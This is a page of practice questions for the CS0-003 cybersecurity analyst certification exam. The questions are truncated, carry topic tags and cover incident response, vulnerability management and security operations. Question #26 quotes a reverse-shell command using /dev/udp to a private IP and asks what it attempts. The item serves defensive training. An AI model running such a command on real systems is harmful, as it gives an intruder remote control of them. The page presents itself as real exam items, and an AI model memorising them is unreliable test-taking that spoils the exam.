CS0-003 Exam Questions
658 real CS0-003 exam questions with expert-verified answers and explanations. Page 1 of 14.
- Question #1Security and Compliance
A technician identifies a vulnerability on a server and applies a software patch. Which of the following should be the next step in the remediation process?
Vulnerability managementPatchingRemediation processValidation - Question #2Security and Compliance
The analyst reviews the following endpoint log entry: Which of the following has occurred?
Log analysisEndpoint securityNew account detection - Question #3Security and Compliance
A security program was able to achieve a 30% improvement in MTTR by integrating security controls into a SIEM. The analyst no longer had to jump between tools. Which of the followi...
SIEMSecurity operationsSingle pane of glassMTTR - Question #4Security and Compliance
Due to reports of unauthorized activity that was occurring on the internal network, an analyst is performing a network discovery. The analyst runs an Nmap scan against a corporate...
Network discoveryNmapThreat identificationSuspicious devices - Question #5Security and Compliance
When starting an investigation, which of the following must be done first?
Incident responseInvestigationSecure the sceneFirst responder actions - Question #6Security and Compliance
New employees in an organization have been consistently plugging in personal webcams despite the company policy prohibiting use of personal devices. The SOC manager discovers that...
Security awarenessCompany policyUser agreementOnboarding - Question #7Security and Compliance
An analyst has been asked to validate the potential risk of a new ransomware campaign that the Chief Financial Officer read about in the newspaper. The company is a manufacturer of...
Threat intelligenceRansomwareInformation sharing organizationsSupply chain security - Question #8Security and Compliance
An incident response team finished responding to a significant security incident. The management team has asked the lead analyst to provide an after-action report that includes les...
Incident responseAfter-action reportLessons learnedProcess improvement - Question #9Security and Compliance
A vulnerability management team is unable to patch all vulnerabilities found during their weekly scans. Using the third-party scoring system described below, the team patches the m...
Vulnerability managementVulnerability prioritizationRisk scoringPatching strategy - Question #10Security and Compliance
A user downloads software that contains malware onto a computer that eventually infects numerous other systems. Which of the following has the user become?
Threat actorsInsider threatMalware infection - Question #11Security and Compliance
An organization has activated the CSIRT. A security analyst believes a single virtual server was compromised and immediately isolated from the network. Which of the following shoul...
CSIRTIncident responseForensicsEvidence preservationVirtual server compromise - Question #12Security and Compliance
During an incident, an analyst needs to acquire evidence for later investigation. Which of the following must be collected first in a computer system, related to its volatility lev...
Digital forensicsOrder of volatilityEvidence acquisitionRunning processes - Question #13Security operations
A security analyst is trying to identify possible network addresses from different source networks belonging to the same company and region. Which of the following shell script fun...
Network reconnaissanceDNS lookupShell scriptingOSINT - Question #14Security operations
A security analyst is writing a shell script to identify IP addresses from the same country. Which of the following functions would help the analyst achieve the objective?
GeolocationIP addressShell scriptingOSINT - Question #15Vulnerability Management
A security analyst obtained the following table of results from a recent vulnerability assessment that was conducted against a single web server in the environment: Which of the fo...
Web application securityInput sanitizationVulnerability remediationSQL injection - Question #16Vulnerability Management
A recent zero-day vulnerability is being actively exploited, requires no user interaction or privilege escalation, and has a significant impact to confidentiality and integrity but...
CVSSVulnerability scoringZero-dayConfidentiality - Question #17Security operations
Which of the following tools would work best to prevent the exposure of PII outside of an organization?
Data Loss Prevention (DLP)PIIData exfiltrationData security - Question #18Vulnerability Management
An organization conducted a web application vulnerability assessment against the corporate website, and the following output was observed: Which of the following tuning recommendat...
Web application securityCORSSecurity headersVulnerability remediation - Question #19Reporting and Communication
Which of the following items should be included in a vulnerability scan report? (Choose two.)
Vulnerability reportingVulnerability assessmentRisk scoringAffected assets - Question #20Vulnerability Management
The Chief Executive Officer of an organization recently heard that exploitation of new attacks in the industry was happening approximately 45 days after a patch was released. Which...
Vulnerability remediationPatch managementMean Time To Remediate (MTTR)Security metrics - Question #21Security operations
A security analyst recently joined the team and is trying to determine which scripting language is being used in a production script to determine if it is malicious. Given the foll...
Script analysisPowerShellMalicious scriptsStatic analysis - Question #22Incident Response and Management
A company's user accounts have been compromised. Users are also reporting that the company's internal portal is sometimes only accessible through HTTP, other times; it is accessibl...
On-path attackSSL strippingMan-in-the-Middle (MITM)Incident analysis - Question #23Reporting and Communication
A SOC manager receives a phone call from an upset customer. The customer received a vulnerability report two hours ago: but the report did not have a follow-up remediation response...
Service Level Agreement (SLA)Contractual obligationsIncident responseVulnerability management - Question #24Security operations
Which of the following phases of the Cyber Kill Chain involves the adversary attempting to establish communication with a successfully exploited target?
Cyber Kill ChainCommand and Control (C2)Threat intelligenceAttack phases - Question #25Vulnerability Management
A company that has a geographically diverse workforce and dynamic IPs wants to implement a vulnerability scanning method with reduced network traffic. Which of the following would...
Vulnerability scanningAgent-based scanningNetwork trafficRemote workforce - Question #26Security operations
A security analyst detects an exploit attempt containing the following command: sh -i >& /dev/udp/10.1.1.1/4821 0>$l Which of the following is being attempted?
Reverse shellCommand injectionLinux commandsExploit analysis - Question #27Vulnerability Management
An older CVE with a vulnerability score of 7.1 was elevated to a score of 9.8 due to a widely available exploit being used to deliver ransomware. Which of the following factors wou...
CVSSVulnerability scoringWeaponizationRansomware - Question #28Vulnerability Management
An analyst is reviewing a vulnerability report for a server environment with the following entries: Which of the following systems should be prioritized for patching first?
Vulnerability prioritizationVulnerability managementRisk assessmentPatch management - Question #29Vulnerability Management
A security analyst is tasked with prioritizing vulnerabilities for remediation. The relevant company security policies are shown below: Security Policy 1006: Vulnerability Manageme...
Vulnerability prioritizationCVSSSecurity policyRisk assessment - Question #30Incident Response and Management
Which of the following will most likely ensure that mission-critical services are available in the event of an incident?
Business Continuity Plan (BCP)Disaster Recovery Plan (DRP)AvailabilityIncident management - Question #31Security operations
The Chief Information Security Officer wants to eliminate and reduce shadow IT in the enterprise. Several high-risk cloud applications are used that increase the risk to the organi...
Cloud Access Security Broker (CASB)Shadow ITCloud securityPolicy enforcement - Question #32Incident Response and Management
An incident response team receives an alert to start an investigation of an internet outage. The outage is preventing all users in multiple locations from accessing external SaaS r...
DDoS attackIncident responseDNS logsNetwork troubleshooting - Question #33Security operations
A malicious actor has gained access to an internal network by means of social engineering. The actor does not want to lose access in order to continue the attack. Which of the foll...
Cyber Kill Chainexploitationpersistent accesssocial engineering - Question #34Security operations
An analyst finds that an IP address outside of the company network that is being used to run network and vulnerability scans across external-facing assets. Which of the following s...
reconnaissanceattack frameworkvulnerability scanningexternal assets - Question #35Security operations
An incident response analyst notices multiple emails traversing the network that target only the administrators of the company. The email contains a concealed URL that leads to an...
social engineeringspear phishingobfuscated linkstargeted attack - Question #36Vulnerability Management
During security scanning, a security analyst regularly finds the same vulnerabilities in a critical application. Which of the following recommendations would best mitigate this pro...
SDLC securityCI/CDapplication securityvulnerability management - Question #37Vulnerability Management
An analyst is reviewing a vulnerability report and must make recommendations to the executive team. The analyst finds that most systems can be upgraded with a reboot resulting in a...
vulnerability remediationproprietary systemsvendor lock-inremediation challenges - Question #38Vulnerability Management
A company is in the process of implementing a vulnerability management program, and there are concerns about granting the security team access to sensitive data. Which of the follo...
vulnerability scanningagent-based scanningcredentialed scanningvulnerability management program - Question #39Security operations
A security analyst is trying to identify anomalies on the network routing. Which of the following functions can the analyst use on a shell script to achieve the objective most accu...
network analysistracerouteshell scriptingnetwork routing - Question #40Security operations
There are several reports of sensitive information being disclosed via file sharing services. The company would like to improve its security posture against this threat. Which of t...
data loss preventionemployee trainingsecurity awarenesssensitive data - Question #41Reporting and Communication
Which of the following is the best way to begin preparation for a report titled "What We Learned" regarding a recent incident involving a cybersecurity breach?
post-incident reviewlessons learned reportstakeholder communicationincident reporting - Question #42Security operations
A security analyst is performing an investigation involving multiple targeted Windows malware binaries. The analyst wants to gather intelligence without disclosing information to t...
malware analysisthreat intelligencesandboxingair gap - Question #43Security operations
Which of the following would help to minimize human engagement and aid in process improvement in security operations?
security automationSOARSIEMprocess improvement - Question #44Security operations
After conducting a cybersecurity risk assessment for a new software request, a Chief Information Security Officer (CISO) decided the risk score would be too high. The CISO refused...
risk managementrisk avoidancerisk assessmentCISO decisions - Question #45Incident Response and Management
Which of the following is an important aspect that should be included in the lessons-learned step after an incident?
lessons learnedincident response planpost-incident reviewprocess improvement - Question #46Security operations
The security operations team is required to consolidate several threat intelligence feeds due to redundant tools and portals. Which of the following will best achieve the goal and...
threat intelligenceplatform integrationsingle pane of glasssecurity operations - Question #47Security operations
Which of the following would a security analyst most likely use to compare TTPs between different known adversaries of an organization?
MITRE ATT&CKTTPsthreat intelligenceadversary emulation - Question #48Vulnerability Management
The security team reviews a web server for XSS and runs the following Nmap scan: Which of the following most accurately describes the result of the scan?
XSSNmapvulnerability scanningweb application security - Question #49Incident Response and Management
Which of the following is the best action to take after the conclusion of a security incident to improve incident response in the future?
incident response improvementpost-incident reviewlessons learnedincident lifecycle - Question #50Security operations
A security analyst received a malicious binary file to analyze. Which of the following is the best technique to perform the analysis?
malware analysisreverse engineeringbinary analysisthreat intelligence